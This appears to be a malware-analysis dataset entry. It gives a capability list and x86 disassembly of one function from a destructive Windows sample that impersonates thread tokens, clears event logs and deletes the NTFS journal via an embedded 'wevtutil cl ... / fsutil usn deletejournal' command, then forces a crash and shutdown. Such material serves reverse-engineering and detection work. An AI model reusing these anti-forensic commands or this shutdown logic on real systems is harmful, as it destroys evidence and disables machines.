Function at 0x10007deb
Capabilities:
Check os version
Clear windows event logs
Create thread
Initialize winsock library
Resume thread
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4a18
call fcn.1000a4f0
push ebx
push esi
push edi
call fcn.10007cc0
cmp dword [ebp + 0x14], 0xffffffff
je 0x10007e14
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10009590
push 0x1001f768
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xffff
xor edi, edi
push edi
push 0x10006eda
push 0x24
call fcn.10007091
push 0xff
push 0x10006caa
push 0x10006c74
push 8
mov dword [0x1001f140], eax
call fcn.10007091
push 0x1001f124
mov dword [0x1001f108], eax
mov dword [0x1001f110], edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push dword [ebp + 0x10]
call fcn.10006a2b
test byte [0x1001f144], 2
je 0x10007e84
call fcn.1000835e
call fcn.10008d5a
call fcn.100084df
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x10007c10
push edi
push edi
call ebx
test byte [0x1001f144], 2
je 0x10007eb2
test byte [0x1001f104], 1
je 0x10007eb2
call fcn.10007545
mov esi, dword [0x1001f108]
call fcn.100070fa
test byte [0x1001f104], 2
je 0x10007ed4
mov eax, dword [0x1001f144]
and eax, 6
push eax
call fcn.10008999
test byte [0x1001f144], 4
je 0x10007ff1
push 0xff
push edi
push 0x10007ca5
push 4
call fcn.10007091
mov dword [0x1001f110], eax
lea eax, [ebp - 0x218]
push eax
call fcn.1000875a
cmp eax, edi
je 0x10007ff1
lea esi, [ebp - 0x218]
mov dword [ebp + 8], eax
mov eax, dword [esi]
push edi
push 4
push edi
push fcn.10009f8e
push edi
push edi
mov dword [ebp - 4], eax
mov dword [ebp + 0x10], edi
mov dword [ebp + 0xc], edi
call ebx
mov dword [ebp + 0x10], eax
cmp eax, edi
je 0x10007f69
push dword [ebp - 4]
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_SetThreadToken]
test eax, eax
je 0x10007f55
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x10007f70
jmp 0x10007f5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0xc], eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10007f70
mov dword [ebp + 0xc], 0x57
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [esi]
push edi
push 4
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0x10]
push eax
push 0x10007d58
push edi
push edi
mov dword [ebp + 0x10], edi
call ebx
mov dword [ebp + 0x14], eax
cmp eax, edi
je 0x10007fd3
push dword [ebp + 0xc]
lea eax, [ebp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_SetThreadToken]
test eax, eax
je 0x10007fca
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x10007fc4
push 0xffffffffffffffff
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x10007fca
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x10], edi
je 0x10007fe5
push edi
push esi
push dword [0x1001f110]
call fcn.10007298
add esi, 4
dec dword [ebp + 8]
jne 0x10007f15
mov esi, dword [0x1001f110]
call fcn.100070fa
push edi
push edi
push edi
push 0x1000a0fe
push edi
push edi
call ebx
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp + 0x14]
push eax
mov dword [ebp + 0x14], edi
mov dword [ebp + 8], edi
mov dword [ebp + 0x10], edi
mov dword [ebp + 0xc], edi
call fcn.10008282
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 4
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, edi
je 0x1000806b
mov ecx, dword [ebp + 0x10]
push edi
imul ecx, ecx, 0xea60
push edi
push eax
push 0x1000a274
push edi
push edi
mov dword [eax], ecx
call ebx
test eax, eax
jne 0x1000806b
push dword [ebp - 4]
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
imul eax, eax, 0xea60
push eax
call ebx
test byte [0x1001f104], 0x10
je 0x1000808b
call fcn.10001eef
mov eax, dword [ebp + 0xc]
imul eax, eax, 0xea60
push eax
call ebx
test byte [0x1001f144], 2
jne 0x1000811b
mov esi, 0x114
push esi
lea eax, [ebp - 0x118]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x1000811b
cmp dword [ebp - 0x114], 5
mov eax, dword [ebp - 0x110]
jne 0x100080e6
cmp eax, 1
je 0x100080f8
cmp eax, 2
je 0x100080f8
cmp dword [ebp - 0x114], 6
jne 0x1000811b
cmp eax, edi
je 0x100080f8
cmp eax, 1
jne 0x1000811b
lea eax, [ebp - 0x4a18]
push eax
call fcn.10006bb0
lea eax, [ebp - 0x4a18]
push eax
call fcn.10007d6f
test eax, eax
je 0x1000811b
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp + 8]
imul eax, eax, 0xea60
push eax
call ebx
movzx eax, word [0x1001f148]
push eax
lea eax, [ebp - 0xa18]
push str.wevtutil_cl_Setup__wevtutil_cl_System__wevtutil_cl_Security__wevtutil_cl_Application__fsutil_usn_deletejournal__D__c:
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
add esp, 0xc
mov word [ebp - 0x21a], ax
push 3
lea eax, [ebp - 0xa18]
call fcn.100083bd
test byte [0x1001f144], 1
je 0x10008114
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, edi
je 0x10008192
push str.NtRaiseHardError
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x10008192
lea ecx, [ebp + 0x10]
push ecx
push 6
push edi
push edi
push edi
push 0xc0000350
call eax
push connect
push 1
push 1
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownExW]
test eax, eax
jne 0x10008114
push edi
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x10008114